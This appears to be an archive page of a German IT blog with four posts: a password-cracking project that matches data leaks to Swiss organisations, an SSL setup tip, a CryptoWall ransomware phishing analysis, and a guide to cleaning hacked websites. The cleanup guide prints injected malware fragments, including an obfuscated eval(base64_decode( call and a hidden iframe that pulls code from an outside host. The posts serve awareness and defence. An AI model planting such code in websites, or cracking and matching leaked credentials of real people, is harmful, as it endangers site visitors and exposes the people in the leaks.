Alle Artikel über "Webseite"

Hacking Switzerland: Dataleaks

- - Allgemein, IT

Die Schweizer nutzen gerne und oft Webservices wie Dropbox, Linkedin, Badoo, Facebook und ähnliches. Gerade in dieser Hinsicht werden aber immer mehr und immer grössere Leaks bekannt – d.h. das Abgreifen von sensiblen Benutzerdaten im grossen Stil. Doch wie stark sind Schweizer Behörden,Spitäler, Schulen und Unternehmen von diesen Leaks betroffen?

Um was geht es?

Im November 2016 berichteten diverse Schweizer Medien darüber, dass die Dropbox-Accounts von Schweizer Politikern gehackt wurden (z.B. Tagesanzeiger, Blick).

Die Reaktionen darauf waren (politisch) selbstverständlich; Dementieren, Entschärfen, Vergessen…

In Bezug auf die Schweiz interessieren aber die Politiker nicht einmal besonders; Viel interessanter ist der mittlerweile „recht umfangreiche“ Staatsapparat mit all seinen Behörden, Kommissionen und Delegationen aber auch bundesnahe Unternehmen, Spitäler und Kliniken oder Bildungseinrichtungen.

Und genau das ist die Grundidee von SwissLeak.ch.

SwissLeak

SwissLeak listet Behörden, Schulen, Kliniken und bundesnahe Unternehmen der Schweiz, deren Benutzer von einem Datenleak betroffen sind.

Was wäre, wenn man die grösseren Leaks der letzten Zeit gezielt nach Mitglieder von Schweizer Behörden, Schulen,Kliniken und Unternehmen absucht? Sie geografisch darstellt? Ihre Passwörter – wo möglich – entschlüsselt?

Intro zu Datenleaks

Damit man das volle Ausmass der Daten in den richtigen Zusammenhang stellt, braucht es ein kurzes Intro zu den bereits erwähnten Leaks. Wenn Sie bereits wissen um was es geht – hier gehts direkt zu SwissLeak im Detail

Irrtum 1: Datenleaks enthalten Passwörter im Klartext

Oftmals wird irrtümlich angenommen, dass ein Datenbank-Leak bedeutet, dass sämtliche Passwörter der Benutzer bekannt sind. Das ist nicht korrekt.

Passwörter werden in Datenbanken in der Regel nicht als Klartext sondern als sogenannte Hashes gespeichert (anstelle von „MeinPasswort“ also z.B. „1de0d5e5c412890d4071af8ecd8c8ad7“). In den meisten Fällen wird dieser Hash zusätzlich mit einem Salt versehen, sodass es sehr schwierig ist, das Passwort aus dem Hash zu entschlüsseln.

Bei einigen der grössten Leaks der letzten Zeit wurde aber genau das nicht gemacht, d.h. die Passwörter können mit relativ wenig Aufwand als Klartext aus dem Hash berechnet werden.

Gehashtes Passwort aus dem Dropbox-Leak

Gehashtes Passwort eines Mitarbeiters des Bundesamtes für Gesundheit aus dem Dropbox-Leak

Irrtum 2: Datenleaks enthalten nur Passwörter und Emails

Wird ein Onlineservice gehackt, denkt man in erster Linie nur an die Passwörter. Oftmals vergessen werden dabei, dass auch andere sensible Angaben in diesen Leaks enthalten sind. Beliebte Angaben sind:

  • Passworthinweise
  • Geburtsdatum
  • Gewicht
  • Alter
  • „Vorlieben“

Bei speziellen Leaks (z.B. „Partnerbörsen“) kann auch bereits nur das Vorhandensein des entsprechenden Benutzers kompromittierend wirken.

Berndeutscher Passworthinweis aus Leak

Der Berndeutsche Passworthinweis spricht Bände…

Irrtum 3: Benutzer verwenden immer andere Passwörter

Das Verhalten der gehackten Onlineservices ist immer ähnlich; Der Benutzer wird relativ unauffällig zum Ändern seines Passwortes aufgefordert. In den wenigsten Fällen wird erwähnt, wieso das notwenig ist (kein Service gibt gerne zu, dass Benutzerdaten abhanden gekommen sind…).

Dementsprechend wird das Passwort durch den Benutzer oftmals nur angeglichen (z.B. aus Passwort1234 wird Passwort12345).

Gleichzeitig verwenden praktisch alle Benutzer dasselbe Passwort bei den unterschiedlichsten Services – das Motto „Seen one, seen ‚em all“ bekommt hier eine neue Bedeutung.

Irrtum 4: Benutzer ändern nach Bekanntwerden eines Leaks sämtliche Passwörter

Auch wenn Medien und IT-Verantwortliche nach Bekanntwerden eines Leaks darauf hinweisen, dass sämtliche (gleichen) Passwörter geändert werden sollten, wird das nur in den wenigsten Fällen auch wirklich gemacht. In der Datenbank von SwissLeak.ch gibt es genügend Beispiele von Benutzern, die von mehreren Leaks betroffen sind, aber immer wieder dasselbe Passwort verwenden.

Wenn wir ehrlich sind, ist es für uns mittlerweile auch fast nicht mehr möglich,  uns an alle Services zu erinnern wo wir diese Passwörter verwendet haben – geschweige denn, sämtliche Passwörter in annehmbarer Zeit zu ändern…

Irrtum 5: Passworthinweise sind sicher

Passworthinweise werden grundsätzlich nicht verschlüsselt gespeichert. Je nach Service können Sie bei einem fehlgeschlagenen Anmeldeversuch auch ganz einfach angezeigt werden.

Wer nun also sein Passwort als Passworthinweis nutzt (!!) muss damit rechnen, dass sich früher oder später jemand einloggt, der nicht dazu berechtigt ist. Etwa 5 – 15 % begehen diesen Fehler…

Selbstverständlich sollte der Hinweis in einem Passworthinweis auch immer nur subjektiv betrachtet ein Hinweis sein.  Einige Beispiel von für schlechte Passworthinweise („Echte Daten“):

  • OS aus dem Jahr 2000
  • Min name in Bärndütsch
  • Postleitzahl Wabern

Irrtum 6: Je länger das Passwort, umso sicherer

Die Passwortlänge spielt nur bei der Entschlüsselung mittels Brute-Force eine Rolle. Da aber praktisch kein einziger Benutzer ein zufällig generiertes Passwort aus Ziffern, Buchstaben und Sonderzeichen (z.B: d73C#H*0+) verwendet, sondern immer ein Wort als Grundlage nutzt (z.B. punkt1982),  sind Wörtebuch-Attacken wesentlich effizienter.

Verwendet ein Benutzer als Passwort also etwa „gartenlaube2016“ in der festen Überzeugung, damit ein sicheres Passwort (15 Stellen…) gewählt zu haben, liegt er leider falsch.

Die Passwortlänge spielt in solchen Fällen nur eine nebensächliche Rolle. Am sichersten ist also nicht ein möglichst langes, sondern ein möglichst einzigartiges Passwort zu nutzen (die „Einzigartigkeit“ steigt mit der Länge des Passwortes).

SwissLeak im Detail

Klarstellung

Zuerst noch einmal zur Klarstellung; SwissLeak listet keine „gehackten Organisationen“ sondern Organisationen, deren Benutzer von Datenleaks betroffen sind.

Beispiel:

  1. Max Müller, Mitarbeiter des BAKOM, hat sich mit seiner Emailadresse [email protected] bei einem Onlineservice angemeldet.
  2. Dieser Onlineservice wird gehackt bzw. ein Leak dieses Onlineservices wird publik.
  3. SwissLeak besorgt sich das Rohmaterial, analysiert dieses und entschlüsselt vorhandene Passwörter.
  4. Max Müller wird anonymisiert unter der Organisation BAKOM auf SwissLeak aufgeführt.

Bezug zur Organisation

Die gelistete Organisation hat also theoretisch kein direktes Datenleck. Praktisch stellen sich aber einige Fragen.

  • Wieso nutzen so viele Mitarbeiter Ihre „geschäftliche Emailadresse“ für Onlineservices?
  • Wieso wird die „geschäftliche Emailadresse“ für Services genutzt, deren Bezug ganz klar nichts mit dem geschäftlichen Tätigkeitsfeld zu tun haben?
  • Wenn schon dieselbe Emailadresse wie „geschäftlich“ verwendet wird; Wird auch dasselbe Passwort genutzt?
  • Wenn Geschäftliches und Privates bereits so vermischt wird – was findet sich in den „Privaten Bereichen“ ?
  • Wozu passen die Passwörter noch?

Da gerade Staatsangestellte Ihre Stelle verhältnismässig selten wechseln oder aber nur „in eine andere Organisationseinheit wechseln“ stellt sich folgende, zusätzliche Frage:

  • Wieviele Mitarbeiter nehmen Ihre Passwörter beim Wechsel in eine „andere Organisationseinheit“ mit?

Entschlüsselte Passwörter

Sämtliche auf SwissLeak.ch aufgeführten Datensätze werden – wo möglich – entschlüsselt. Das hat mehrere Gründe:

Bei Leaks wird generell nur von „entschlüsselbaren Hashes“ oder „unsicherer Verschlüsselung“ gesprochen – ein Entschlüsseln scheint also nur theoretisch möglich.

Diese theoretische Wahrscheinlichkeit führt aber zu einem komplett falschen Bild und ermöglicht die üblichen Ausreden:

  • Mein Passwort interessiert sowieso keinen…
  • Wer macht sich denn die Mühe, mein Passwort zu entschlüsseln…
  • Ich habe ein sicheres Passwort…(vgl. Irrtum 6)

Um diese Ausreden gleich von Beginn zu verhindern, sind sämtliche Passwörter, die auf SwissLeak.ch als entschlüsselt markiert sind effektiv entschlüsselte Passwörter.

Das Entschlüsseln bringt aber noch weitere „Vorteile“:

  • Generierung einer spezifischen Passwortliste für die Schweiz
  • Querverbindungen nutzen, um komplexe Verschlüsselungen effizienter zu entschlüsseln

Fehlende Hashes

Teilweise kann es vorkommen, dass ein Benutzer zwar in einem Leak enthalten ist, beispielsweise aber der Hashwert fehlt. Das kann folgende Gründe haben:

  • Technischer Fehler: der Hash ging während dem „Dump“ bzw. beim Import in SwissLeak verloren
  • Manuelles Entfernen: der Hash wurde manuell von jemandem entfernt („Eigenbedarf“…)

Die Möglichkeit, dass der Hashwert durch den betroffenen Onlineservice selbst entfernt wurde ist sehr gering, da kein Hash auch kein Passwort bedeutet – und damit grundsätzlich kein Grund für das weitere Aufbewahren des Accounts besteht.

Auch das „Anmelden“ aber nicht bestätigen eines Onlineaccounts ist kein logischer Grund für einen leeren Hashwert; den entweder hat der Benutzer das Passwort bereits bei der Registrierung angeben oder aber das Passwort wird automatisch generiert; In beiden Fällen wäre ein Hash vorhanden.

Präzision und Plausabilität

Gerade weil sich SwissLeak nur mit „Swiss Data“ beschäftigt, ist die Präzision im Gegensatz zu anderen Services höher. Es kann also durchaus vorkommen, dass SwissLeak mehr betroffene Accounts als andere Services anzeigen. Die Hauptgründe dafür:

  • „Alte Domains“ werden soweit möglich berücksichtigt (d.h. wenn die Organisation sich etwa umbenannt hat / neue Domain)
  • Evtl. Schreibfehler werden korrigiert (z.B. [email protected]c)
  • Bei inkonsistenten Quellen / Leaks werden die Daten rekonstruiert
  • Betroffene Benutzer werden nur auf die Schweiz eingeschränkt (Beispiel: Credit Suisse Schweiz enthält nur Schweizer Benutzer)
  • Als „Spassbenutzer“ erkenntliche Accounts werden gelöscht (z.B. [email protected])

Da SwissLeak nicht nur die Emailadressen sondern auch die Hashwerte, Passwörter und wo möglich persönlichen Details abgleicht, kann es selbstverständlich auch zu Duplikaten führen; diese werden aber wo immer möglich verhindert.

„Falsche Leaks“

Teilweise werden Leaks veröffentlicht, die gar keine sind. Oder anders ausgedrückt; jemand „bastelt“ sich aus vorhandenen oder erfundenen Datensätzen einen gefälschten Leak um Publicity zu bekommen. Für die entsprechenden Benutzer bzw. Organisation besteht aus diesem Leak also eigentlich gar keine Bedrohung.

Auch hier kann es in Einzelfällen vorkommen, dass „Falsche Leaks“ für SwissLeak verwendet werden. Wiederum kommt in diesem Fall aber die verhältnismässig kleine Datenmenge von SwissLeak der Präzision zugute, denn:

  • Die Chancen, dass für erfundene Leaks .ch – Adressen bzw.  Schweizer Organisationen genutzt werden sind sehr gering
  • Das Format (z.B. [email protected]) muss stimmen, ansonsten fällt das beim Upload auf
  • Falls die Emailadresse in einem erfundenen Leak tatsächlich existiert, ist die Chance hoch, dass der entsprechende Benutzer trotzdem betroffen ist (kopieren ist einfacher als erfinden…)

Insofern ist Aussagekraft von SwissLeak durch „falsche Leaks“ nicht beeinträchtigt.

Zweifaktor Authentifizierung

Die Zweifaktor Authentifizierung ist grundsätzlich eine gute Sache; durch die Identifikation mit etwas das man besitzt (z.B. Smartphone, Smartcard…) und etwas das man weiss (Passwort), scheint man relativ gut geschützt.

Anders sieht die Sache aus, wenn man zwar noch etwas besitzt, das Wissen aber mittlerweile auch anderen bekannt ist. Aus einer Zweifaktor Authentifizierung wird eine Einfaktor Authentifizierung.

Dazu kommen folgen Punkte:

  • Der zweite Faktor wird zu einem Grossteil über das Medium SMS abgewickelt. Dieses gilt seit einiger Zeit als unsicher.
  • Eine Rücksetzung des zweiten Faktors über persönliche Details (z.B. Geburtsdatum, Mail an Private Email…) ist oftmals möglich.

Vor allem in Bezug auf die Masse der geleakten Accounts ist eine Zweifaktor Authentifzierung damit allenfalls eine Hürde – ganz sicher aber keine Unüberwindbare.

Noch mehr Daten?

Die Schweiz verfügt über ein Milizsystem – das heisst öffentliche Aufgaben werden von Privatpersonen nebenberuflich ausgeübt. Dazu zählen etwa Mitgliedschaften in Geschäftsprüfungs-, Sicherheits- und Beratungskommissionen, Verbänden oder diversen Räten.

SwissLeak listet aber „nur“ die Betroffene, die Ihre „geschäftliche Emailadresse“ für Onlineservices verwenden.

Oder anders ausgedrückt; das Milizsystem wird bei SwissLeak vernachlässigt.

Nun ist es aber relativ einfach, interessante Personen und Ihre privaten Emailadressen auf den Webseiten der Organisationen zu finden und deren Daten dann mit den Leaks abzugleichen. Das dies auch praktisch funktioniert, zeigt die Kategorie Politik auf SwissLeak.ch…

Gerade im privaten Bereich werden diese Leaks häufiger auftreten und die Sicherheit (z.B. keine Zweifaktor Authentifizierung) wird wesentlich tiefer ausfallen.

Datenschutz

Dass geleakte Accounts vom Datenschutz her problematisch sind, versteht sich von selbst. Insbesondere die Frage nach dem Besitzer bzw. Inhaber eines Accounts scheint problematisch.

Erstellt beispielsweise der Mitarbeiter Max Müller einen Dropbox – Account mit seiner Firmen Emailadresse, stellt sich sofort die Frage wer denn nun der Besitzer dieses Dropbox – Accounts ist; Max Müller oder die Firma?

Was bei einem Dropbox – Account vielleicht noch unproblematisch scheint (da relativ unverfänglich), wir wesentlich anspruchsvoller, wenn sich Max Müller z.B. bei Ashley Madison oder einem ähnlichen Netzwerk angemeldet hat. Darf der Arbeitgeber (=Firma) in diesem Fall die entsprechende Quelle erfahren? Oder greift hier Art. 9b des Schweizer Datenschutzgesetzes (Einschränkung Auskunftspflicht aufgrund Interessen Dritter) ?

Um diese Diskussion gar nicht erst aufkommen zu lassen und weil in der Vergangenheit gewisse Schlaumeier das Gefühl hatten, gemäss EDÖB ein „kostenloses Auskunftsbegehren“ zu stellen , wird sie bei SwissLeak  von Beginn weg technisch verunmöglicht. SwissLeak speichert sowohl Email und entschlüsseltes Passwort nicht im Klartext sondern nur als sogenannte Fingerprints mit den jeweiligen Metainformationen.

Die „Rohdaten“ bleiben aber selbstverständlich erhalten und könnten auch erneut durchsucht werden…

Tendenz

Datenleaks werden in Zukunft vermehrt auftreten, gleichzeitig wird bei sämtlichen Organisationen eine Generation nachrücken, die mit der Nutzung von Onlineservices aufgewachsen ist.

Die Technik entwickelt sich weiter; Leistungsfähigere Geräte werden es ermöglichen, längere und komplexere Passwörter zu entschlüsseln.

Für den Administrator einer Organisation bieten sich nur relativ wenige Möglichkeiten, die Gefahr von Datenleaks zu vermindern; denn Benutzer die sich mit Organisationsadressen an externen, leakgefährdeten Onlineservices anmelden entziehen sich praktisch vollständig seiner Kontrolle.

Ohne ein (erzwungenes) Umstellen des Benutzerverhalten und innovative, technische Authentifizierungsmechanismen, die vielleicht sogar ohne Passwort auskommen, wird sich die Problematik also mittelfristig verschärfen.

Zukunft?

SwissLeak ist weder perfekt noch vollständig; Es zeigt aber den Trend der „Big Data Leaks“ und inwiefern die Schweiz davon betroffen ist zumindest im Ansatz auf.

Auch wenn einige in diesem Zusammenhang sicherlich gerne von „Einzelfällen“ sprechen würden – es geht nicht nur um einzelne Benutzer oder Accounts, sondern um die kreative Interpretation des „Grossen Ganzen“.

Was passiert etwa, wenn geleakte Daten mit bereits heute gängigen „Möglichkeiten“ kombiniert werden (E-Whoring, Ransomware, Phishing…)? Wenn Benutzer gezwungen werden, anstelle von Geld, Daten einer bestimmten Organisation zu liefern? Oder ganz einfach als „Köder“ für andere Ziele genutzt werden?

Organisationen, die mit sensiblen Informationen arbeiten und deren Benutzer in Leaks gefunden wurden, gibt es in der Schweiz zu Genüge.

Leider ist es aber utopisch, zu glauben, das „Darauf hinweisen“ oder „Bekannt machen“ von Leaks würde irgendetwas am Benutzerverhalten ändern.

Gerade in der Schweiz haben wir in diesen Belangen gerne einmal eine „lange Leitung“ und glauben, dass wir (schon) nicht davon betroffen sind.

Ob das historisch bedingt ist oder aufgrund unserer geografischen Lage; Fest steht, dass uns weder die Neutralität noch die Alpen vor Datenleaks und anderen digitalen Gefahren schützen…

Also – wie sicher ist die Schweiz?

Comodo Positive SSL und Plesk 12

- - Snippets, Web

Comodo Positive SSL ist günstig, sicher und perfekt für den schnellen Einsatz zwischendurch geeignet. Die Installation auf Plesk 12 bringt aber einige Stolpersteine mit sich. Wie man trotzdem das Zertifikat sauber und vor allem korrekt installiert – in diesem Beitrag.

 

Es fehlt ein Feld?

Von Comodo erhält man ein Zip-File mit folgendem Inhalt:

Comodo Positive SSL

 

In Plesk 12 gibts zum Upload der entsprechenden Zertifikate aber leider „nur“ zwei Felder:

Plesk 12 SSL

 

Lädt man nun nur zwei Zertifikate hoch, wird SSL im Browser zwar als „gültig“ erkannt, mit gängigen SSL-Checkern (z.B. SSL-Trust, SSL-Labs) wird aber ein „missing Certificate Chain“ gemeldet. Noch problematischer wird das ganze, wenn man diese unvollständige Einrichtung beispielsweise mit Software direkt „anzapfen“ möchte. Unter Umständen funktioniert dann nämlich die mit SSL gesicherte URL nicht.

Eine Lösung muss also her.

Die Lösung mittels Texteditor

Die Lösung ist anschliessend dann zum Glück nicht weiter schwierig.

Folgende Zertifikate müssen in diese Reihenfolge im Texteditor geöffnet und in dieser Reihenfolge in das Feld CA-Zertifikat kopiert werden:

  • COMODORSADomainValidationSecureServerCA.crt
  • COMODORSAAddTrustCA.crt
  • AddTrustExternalCARoot.crt

Das übrige Zertifikat www_my_domain_ch.crt sollte ins Feld Zertifikat kopiert werden.

Anschliessend auf Text senden klicken und alles wird so klappen wie es sollte.

Tipp: Die Zuordnung ist in den obigen Screenshots bereits passend farblich hinterlegt…

 

Ein Fax mit Folgen

- - IT, Web

Wer von einem Bekannten eine E-Mail mit dem Anhang fax-message876-792-093.zip erhält, tut gut daran diese nicht zu öffnen. Weder handelt es sich um einen Fax noch wurde die Nachricht in dessen Absicht versendet…

Im Gegensatz zum Artikel SPAM – Back to the Roots ist der Nachrichtentext diesmal etwas sinnvoller – wenn auch immer noch auf Englisch:

Besonders boshaft an dieser Version ist aber die Art der Verbreitung. Der Absender ist dem Empfänger bekannt und auch der Mailversand erfolgt über den korrekten Mailserver des Absenders. SPAM-Filter werden dadurch weitestgehend ausgehebelt. Rein technisch kommt das Mail ja vom korrekten Empfänger.

Da zum Versand der Nachricht das persönliche Adressbuch des Absenders genutzt wird, besteht von Anfang an ein Bezug zu diesem Mail – die menschliche Neugier garantiert, das ein Grossteil aller Empfänger diese Nachricht auch öffnet.

Kein(e) Fax(en)

FAX ZIPSpätestens beim Öffnen des mitgesendeten Fax müsste man misstrauisch werden. Ein Epson – Drucker der ein Fax nicht nur komprimiert und automatisch versendet, sondern daraus auch noch einen Anwendung erstellt? Erstaunlich…

 

Entsprechend wenig mit einem Fax hat der Inhalt dann tatsächlich zu tun. Öffnet man nämlich die komprimierte bot.exe passiert erst einmal – nichts. Also noch einmal öffnen…

Doch erst nach einigem Klicken und Drücken erscheint dann das „Fax“:

Fax CryptoWall3

 

Leider handelt es sich nicht um einen Fax sondern um die Ransomware CryptoWall.

Im Gegensatz zur üblichen Ransomware, die den Computer „nur sperrt“ beginnt CryptoWall sämtliche Daten zu verschlüsseln. Eine Entschlüsselung ist nur möglich, wenn der entsprechende Entschlüsselungcode gekauft wird. Dies empfiehlt sich aber nicht!  

Es gibt keine Gewissheit, dass

  • nach Bezahlung eine Enschlüsselung möglich ist
  • der Preis nach Bezahlung nicht plötzlich steigt.

Die Sinnvollste Lösung ist das professionelle Entfernen des Ransomware und das Einspielen eines aktuellen Backups.

 

Im Hintergrund

Was passiert aber eigentlich im Hintergrund?

Nachdem box.exe ausgeführt wurde, wird erst einmal der „Persönliche Verschlüsselungscode“ generiert. Die Formulierung dazu ist recht höflich gehalten („Especially for you, on our server was generated the secret key pair…“).

Schaut man sich die Netzwerkprotokolle an, wird schnell ersichtlich, dass zu Generierung der Verschlüsselung eine vorgängig gehackte WordPressite genutzt wird:

CryptoWall 3 Netzwerkprotokoll

In diesem Fall handelte es sich um 9 verschiedene WordPresssites – ein Grossteil wurde wahrscheinlich bereits im Dezember 2014 über eine Sicherheitslücke im WordPressplugin RevSlider gehackt.

CryptoWall WordPress WIrt

An diesem Punkt stellt sich dann die Frage; Kann die Verschlüsselung auch über eine solche infizierte Webseite rückgängig gemacht werden?

Leider nein – den entsprechenden Entschlüsselungscode erhält man nur über das TOR-Netzwerk – eine Rückverfolgung ist damit praktisch unmöglich.

Antivirus?

CryptoWall VirustotalDen bereits im letzen Artikel SPAM – Back to the Roots  angesprochenen „Toten Winkel“ gibt es leider auch hier. 4 Stunden nach Erhalt der E-Mail haben 9 von 57 Antivirusscannern immer noch kein Problem mit dem File fax-message876-792-093.zip.

Wer mit diesen Schutzprogrammen unterwegs ist muss sich auf seinen gesunden Menschenverstand verlassen – oder aber verfügt über ein gutes Backup!

 

 

PS: Im Wikieintrag Cryptowall 3.0 entfernen gibts einige Tipps wie man versuchen kann Daten von einem mit Cryptowall betroffenen Computer zu retten.

Webseite gehackt – Was nun?

- - Tutorials, Web

Dass grosse Webseiten gehackt werden ist bekannt. Doch was passiert wenn die eigene Webseite plötzlich ungebetene Gäste hat? Woher kommen sie? Und wie verhindert man das Schlimmste?

Betroffene Systeme

Sollten Sie nur statische HTML Seiten als Grundlage für Ihre Webseite verwenden (erkennbar an der Endung einzelner Seiten, z.B. meineseite.ch/kontakt.html) besteht ein geringes Risiko, dass Sie gehackt werden. Sobald Sie aber mit dynamischen Seiten, also z.B. CMS-Lösungen wie WordPress, Joomla etc. arbeiten und im Hintergrund eine Datenbank liegt besteht ein erhöhtes Risiko, dass Sie einem Hackerangriff zum Opfer fallen.

Die Aussage, dass verbreitete CMS-Lösungen verwundbarer als Einzellösungen sind ist aber dennoch nicht richtig. Zwar sind häufig verwendete CMS-Systeme interessanter für Angreifer, andererseits werden Lücken und Fehler auch wesentlich schneller bemerkt und geschlossen. Sofern Ihr CMS entsprechend gewartet und aktualisiert wird reduziert sich das Risiko daher erheblich.

Riskofaktoren

Passwörter

Die übliche Sicherheitslücke gilt auch für Webseiten. Verwenden Sie sichere Passwörter – lang und kompliziert 😉 Als Alternative dazu eignet sich eine zweistufige Authentifzierung wie sie es vielleicht vom E-Banking her kennen. Google bietet dazu mit dem Google Authenticator eine interessante Lösung.

Plugins und Erweiterungen

Sobald ein System durch fremde Erweiterungen ergänzt wird steigt die Gefahr einer Sicherheitslücke. Verwenden Sie nur aktuelle Erweiterungen die regelmässig aktualisiert werden und sauber aufgebaut sind. Hier lohnt sich auch einen Blick auf kostenpflichtige Plugins zu werfen – Sie können sich damit eine Menge Ärger ersparen.

Themes und Designs

Wenn Sie Themes oder Designs für Ihr CMS aus dem Web beziehen, achten Sie auf die Quelle. Sie finden viele kostenpflichtige Themes „kostenlos“ im Netz – leider installieren Sie damit aber manchmal nicht nur das Design sondern auch noch ein Hintertürchen. Auch hier gilt – ein Blick auf kostenpflichtige Themes lohnt sich!

Webhoster

Webhoster gibt es mittlerweile wie Sand am Meer. Ein grosser Teil davon sind sogenannte Reseller, d.h. sie kaufen ein Hostingprodukt ein und verkaufen es weiter. Nicht immer sind die entsprechenden Reseller aber auch zuverlässig oder mit den Gefahren des Webs vertraut. Achten Sie deshalb nicht immer nur auf den Preis, sonder vor allem ob der Hoster wirklich sein eigenes Hosting betreibt und weiss was er tut.

Kenne deinen Feind

Bereits Sunzi wusste; Kenne deinen Feind! Daher ist immer auch die Identifikation der „Hacker“ ein Ziel. Glücklicherweise sind die meisten Attacken „Massenware“, d.h. sie werden nicht gezielt gegen eine Webseite gerichtet sondern gegen alle angreifbaren. Die Tools dazu werden entweder in entsprechenden Foren gekauft oder selbst erstellt.

Hack for money

Malware Webseite

Gehackte Webseiten mit Schadcode werden relativ rasch gesperrt – leider auch für potentielle Kunden oder Besucher…

Um es kurz zu machen – diese Angreifer möchten früher oder später Geld verdienen. Dementsprechend leiten Sie Ihre Besucher entweder um oder laden im Hintergrund Schadsoftware auf die Besucherrechner. Um den Profit zu maximieren laufen diese  Angriffe automatisiert ab, da sich diese Masche nur in grossen Mengen auszahlt (wenn überhaupt…). Dabei werden häufig .php-Files Ihrer Webseite verändert mit der Folge dass die ursprüngliche Webseite entweder gar nicht mehr oder nur noch eingeschränkt funktioniert.

Hack for prestige

Hack for prestige

Anders als beim obigen Beispiel bekennt sich hier eine Gruppe zum Angriff

Mittlerweile gibt es im Web Ranglisten für Gruppen welche die meisten Webseiten infiltriert haben. Der einzige Zweck eines solchen Angriffs ist demnach – Prestige! Obwohl für Besucher keine direkte Gefahr droht, wird auch hier die Webseite verändert um „zu beweisen“ dass sie gehackt wurde – selbstverständlich immer mit einigen Bemerkungen der jeweiligen Gruppe. Im Beispiel links wird netterweise sogar erwähnt wie die Seite in den „Originalzustand“ zurück versetzt werden kann.

Website desinfizieren

Da die gehackte Webseite in den meisten Fällen nicht mehr öffentlich zugänglich ist bzw. nur noch teilweise funktioniert, muss die Desinfektion auf einer anderen Ebene erfolgen – per FTP.

Zugang per FTP verschaffen

Wie man sich Zugang per FTP verschafft wird vielen bekannt sein. Falls nicht – einfach Filezilla herunterladen und mit den entsprechenden Benutzerdaten einloggen. Diese finden sich auf dem Datenblatt des Hosters.

Webseite per FTP desinfiszieren

Sobald die FTP-Verbindung steht, sollte man sich zuerst einen Überblick über die Ordnerstruktur verschaffen. Häufig befinden sich die für uns relevanten Daten im Ordner „httpdocs“. Neben einigen Unterordnern sollte dort auch eine Datei „index.php“ vorhanden sein. Diese einfach mittels Drag&Drop auf den Desktop kopieren und mit einem Texteditor öffnen (Tipp: Notepad ++ eignet sich hervorragend dafür).

 

 

 Schadcode identifizieren

Nun folgt die eigentliche Suche nach dem Schadcode. Irgendwo im Code, häufig aber direkt am Anfang des .php – Files finden sich Zeilen, die einfach nicht so recht hineinpassen wollen. Einige beginnen beispielsweise so:

<script type="text/javascript">// <![CDATA[var
eval(base64_decode(
<iframe src="http://efwel.pro/7dfs32s/" height="1" width="1" frameborder="0" scrolling="no">

Das der Schadcode nicht direkt sichtbar ist sondern verschleiert wird ergibt sich aus dem Zusammenhang – der Angreifer möchte möglichst wenig Spuren hinterlassen. So liegen dann auch die eingebundenen Schadcodeteile meist auf gekaperten Servern – und niemals direkt beim Täter.

Wem die Suche nach „verdächtigem Code“ zu mühsam ist, kann selbstverständlich auch mit Originaldateien vergleichen.

Schadcode entfernen

Da in den wenigsten Fällen nur ein File betroffen ist, müssen wir sämtliche Dateien überprüfen. Dazu setzen wir sämtliche Schritte zusammen:

  1. Schadcode entfernenDownload der gesamten Webseite via FTP (siehe Zugang per FTP)
  2. Identifizierten Schadcode in die Zwischenablage kopieren (siehe Schadcode identifizieren)
  3. Notepad ++ öffnen. Unter „Suchen“ in „Dateien suchen“ das komplette, heruntergeladene Verzeichnis nach dem Schadcode durchsuchen (Bild A)
  4. Falls mehrere Ergebnisse gefunden werden können  im selben Fenster mit „Ersetzen durch“ sämtliche Einträge gelöscht werden (Bild B).
  5. Abschliessend sollten die Dateien noch mit einem Antivirus bspw. Kaspersky gescannt werden (Findet manchmal noch Einträge…)

Hinweise

Es gibt keine Garantie, dass wirklich sämtlicher Schadcode entfernt wurde. Wer auf Nummer sicher gehen will, sollte sämtliche Files durch Originaldateien ersetzen und die Datenbank neu anbinden. Eventuell vorgenommene Modifikation an Design / CMS gehen dabei verloren. Wer über ein Backup verfügt sollte zuallererst dieses einspielen…

Um festzustellen, ob auch andere Webseiten auf demselben Hoster vom Hack betroffen sind lohnt sich ein Blick auf http://www.yougetsignal.com/tools/web-sites-on-web-server/. Dadurch kann man das Ausmass etwa abschätzen und weitere Schritte planen (z.B. Hoster informieren/wechseln)

Wer gerne den Schadcode etwas genauer analysieren möchte kann dazu diverse Onlinetools (z.B. http://www.unphp.net/) verwenden. Diese „entschlüsseln“ den Code mehr oder weniger schlecht…

Wenn die Webseite erneut gehackt wird, sollten die Risikofaktoren auf jeden Fall erneut überprüft werden